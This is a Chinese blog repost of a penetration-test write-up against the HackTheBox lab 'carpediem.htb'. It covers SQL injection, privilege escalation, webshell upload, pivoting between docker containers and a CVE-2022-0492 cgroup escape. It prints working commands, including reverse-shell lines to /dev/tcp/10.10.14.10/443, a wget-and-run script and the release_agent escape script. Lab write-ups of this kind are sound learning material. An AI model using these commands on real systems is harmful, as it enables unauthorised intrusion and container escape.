社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  docker

记一次docker虚拟机横向移动渗透测试

乌雲安全 • 2 年前 • 339 次点击  

| 作者:windcctv,转自FreeBuf.COM


本次渗透在几个docker虚拟机间多次横向移动,最终找到了一个可以进行docker逃逸的出口,拿下服务器。渗透过程曲折但充满了乐趣,入口是172.17.0.6的docker虚拟机,然后一路横向移动,最终在172.17.0.2出实现了docker逃逸,简单画了一个思维导图,方便大家阅读全文。(因版权问题,靶机隐去,但不影响阅读)


信息收集


先端口扫描一波;

目录探测一波,并没有特殊发现;

子域名探测一波;

发现子域名;继续目录探测一波;

发现了admin和uploads;用xray扫描一波;

./xray_linux_amd64 webscan --basic-crawler http://portal.carpediem.htb/ --html-output /root/Desktop/vuln.html

sql注入,有点开心,还有个XSS;

结合上面的信息,开始进行漏洞挖掘。


漏洞挖掘

sql注入

sqlmap -u "http://portal.carpediem.htb/?p=view_bike&id=c4ca4238a0b923820dcc509a6f75849b" -dbs --batch

成功注出了用户,但发现并没有用;

注出的用户无法登录后台;

尝试sqlmap执行命令也失败了,只能暂时放弃往这方面深入。

垂直越权

注册一个用户;

尝试用数据库里的cookie来替换,但并没有用;

有趣的是,发现有一个按钮来修改我们的个人资料,

我们随意更改内容,并在发送请求时使用 burpsuite 拦截它;

我们可以看到 login_type 的值为 2,但是如果我们将其更改为 1 会发生什么?

有惊喜,可以成功越权访问到管理员的后台了;

我们可以上传一张图片,尝试上传一个php马;

修改下文件属性,就可以绕过限制;

上传成功,用哥斯拉访问一下,连接成功;

很快意识到我们在一个 docker 容器中:

下面开始docker容器的横向移动渗透。

横向移动

先反弹个shell回来便于操作;

我们还可以寻找其他 docker 容器或主机。检查 /etc/hosts 我们找到我们的和另一个 IP 地址:

先用fscan快速寻找突破点;

有个可以匿名访问的ftp,尝试后无结果;

还有一个mysql也开着,查找配置文件;

简单搭建一个socks代理;

Local: ./chisel server --reverse -p 6969
Target: ./chisel client 10.10.14.56:6969 R:socks

登录mysql数据库;

密码没有破开,暂时也发挥不了作用。

偷懒没有成功,还是namp重新梳理下资产;

172.17.0.1:端口 22,80
172.17.0.2:端口 21、80、443 - BACKDROP CMS 和 FTP 端口
172.17.0.3:端口27017 - MongoDB服务器
172.17.0.4:端口 3306、33060 - MySQL server for
172.17.0.5:端口 8118 - Trudesk v1.1.11

其他2个web上来都需要登录,没有什么好的办法,继续从数据库服务器入手。

MongoDB服务器

发现配置文件;

尝试登录数据库;

proxy chains mongosh mongodb://127.0.0.1:27017

找到了用户和密码,但没法破解。所以尝试修改管理员密码,谷歌后找到了一个加密脚本可以生成密码;

import bcrypt

password = "password"
salt = bcrypt.gensalt(rounds=10)
encoded = bcrypt.hashpw(password.encode(),salt)

print(encoded)

现在,我们只需从 trudesk 数据库中更改密码即可

test> use trudesk
switched to db trudesk
trudesk> db.accounts.update( {"_id": ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$zX4LTPwe7bEjhvQ.lbNgNuttsUcvcstL6SHHhZhIXouFObHXxYqey"}});
DeprecationWarning: Collection.update() is deprecated. Use updateOne, updateMany, or bulkWrite.
{
acknowledged: true,
insertedId: null,
matchedCount: 1,
modifiedCount: 1,
upsertedCount: 0
}
trudesk>

此时我们可以使用密码以管理员身份登录172.17.0.5的web。

Zoiper

让我们仔细看看这些开放票证:

研究许久基本弄明白,zoiper是一个通信程序,最后四位数字是登录名,密码是2022年。域名是 carpediem.htb。登录后,拨打 *62 并获取 hflaccus 的密码。

获得的凭据是 hflaccus : xxxxxxxx 我们可以通过 ssh 连接。

还在docker容器里,继续。

wireshark解包

在这里查找配置文件,提权等尝试了许多操作都没有结果;

看到配置文件

/etc/ssl/certs/backdrop.carpediem.htb.key ,结合之前作靶机的经验,才想到抓包;

我们将两者都传递给我们的机器,在wireshark中我们导入密钥并打开捕获的数据包;

解密方法;

将-keylogfile 参数指定的文件,配置到wireshark的Edit -> Preferences -> Protocols -> TLS,(Pre)-Master-Secret log中:

加载后重新打开;

获取了用户登录的账号密码。

Backdrop-CMS

访问172.17.0.2:8002,

用抓包获取到的用户名和密码登录后台;

找到了后台getshell的方法,通过导入恶意模块来利用漏洞。

https://github.com/V1n1v131r4/CSRF-to-RCE-on-Backdrop-CMS
❯ tar -xf reference.tar
❯ cat reference/shell.php

想法是直接将其更改为反向shell并重新压缩它
❯ cat reference/shell.php
& /dev/tcp/10.10.14.10/443 0>&1'");?>
❯ tar -cvf reference.tar reference &>/dev/null

在功能的顶部,我们可以导入一个模块

我们可以选择我们的 tar 文件,以便我们上传并导入它。

一旦我们上传它,我们调用 php 并在另一个容器中接收反向 shell;

成功获取了172.17.0.2的shell,还在docker容器里。

docker逃逸

检查pspy会向我们显示一个明显的脚本,每10秒运行一次;

www-data@90c7f522b842:/opt$ cat heartbeat.sh
#!/bin/bash
#Run a site availability check every 10 seconds via cron
checksum=($(/usr/bin/md5sum /var/www/html/backdrop/core/scripts/backdrop.sh))
if [[ $checksum != "70a121c0202a33567101e2330c069b34" ]]; then
exit
fi
status=$(php /var/www/html/backdrop/core/scripts/backdrop.sh --root /var/www/html/backdrop https://localhost)
grep "Welcome to backdrop.carpediem.htb!" "$status"
if [[ "$?" != 0 ]]; then
#something went wrong. restoring from backup.
cp /root/index.php /var/www/html/backdrop/index.php
fi

每隔一段时间,它就会更改 index.php 文件并调用它,似乎只要 heartbeat.sh 运行时 index.php 就会执行。将其更改为 php 反向 shell可以弹回一个shell。

通过在几秒钟后覆盖它,我们会以 root 身份收到一个反向 shell

获取root权限后,还是在docker容器里,利用最新的CVE-2022-0492进行docker容器逃逸。

由于机器没有 nano 或 vi 我们创建脚本并与服务器共享;

❯ cat script.sh
mkdir /dev/shm/privesc
mount -t cgroup -o rdma cgroup /dev/shm/privesc
mkdir /dev/shm/privesc/x
echo 1 > /dev/shm/privesc/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /dev/shm/privesc/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -c 'bash -i >& /dev/tcp/10.10.14.10/443 0>&1'" >> /cmd
chmod a+x /cmd
bash -c "echo \$\$ > /dev/shm/privesc/x/cgroup.procs"

❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

在docker容器里,我们下载并执行它以向我们发送反向shell;

root@90c7f522b842:~# unshare -UrmC bash
root@90c7f522b842:~# wget http://10.10.14.10/script.sh &>/dev/null
root@90c7f522b842:~# chmod +x script.sh
root@90c7f522b842:~# ./script.sh

运行脚本时,我们在自己的机器上接收 shell;

至此,完成了docker容器的逃逸,整个渗透过程结束。

- END -


推荐阅读


欢迎 在看留言分享至朋友圈 三连


 好文推荐  



Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/149428
 
339 次点击